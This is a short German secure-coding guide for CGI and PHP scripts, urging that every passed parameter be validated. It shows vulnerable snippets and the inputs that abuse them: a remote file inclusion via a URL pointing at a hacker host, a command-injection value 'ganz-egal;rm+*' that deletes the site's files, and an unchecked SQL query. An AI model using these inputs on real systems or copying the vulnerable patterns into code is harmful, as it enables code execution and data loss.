Sicherheit bei CGI- und PHP-Programmen

Sie sind für die Sicherheit Ihrer Scripte selbst verantwortlich.

Hier einige Hinweise zur sicheren Programmierung

Sie müssen grundsätzlich alle übergebene Parameter prüfen - am besten mit regulären Ausdrücken. -

Folgender PHP-Code dürfen Sie nur verwenden, wenn Sie sicher sind, dass in der Variable $id auch das drin steht, was Sie erwarten:

include ($id . "/xyz.php");

Ansonsten kann man mit dem Aufruf

mein_script.php?id=http://www.hacker.com

beliebigen PHP-Code von fremden Servern ausführen.

Ähnliches kann passieren bei:

print system("/bin/whois " . $domain);

Diese Zeile ruft das whois-Programm auf dem Server auf um den Inhaber einer Domain zu ermitteln. Da aber die Variable $domain als Parameter übergeben wird, kann man natürlich auch folgendes machen:

whois.cgi?domain=ganz-egal;rm+*

das + wird im CGI durch " " ersetzt, was folgende Anweisung ergibt:

/bin/whois ganz-egal;rm *

womit alle DAteien Ihrer Präsenz gelöscht werden !..

Auch in SQL-Anweisungen ist ähliches möglich:

"SELECT * FROM tabelle WHERE ID=$id" ...

Auch hier muss man wieder prüfen, ob in $id auch wirklich nur eine ID steckt, sonst kann man beliebigen SQL-Code ausführen.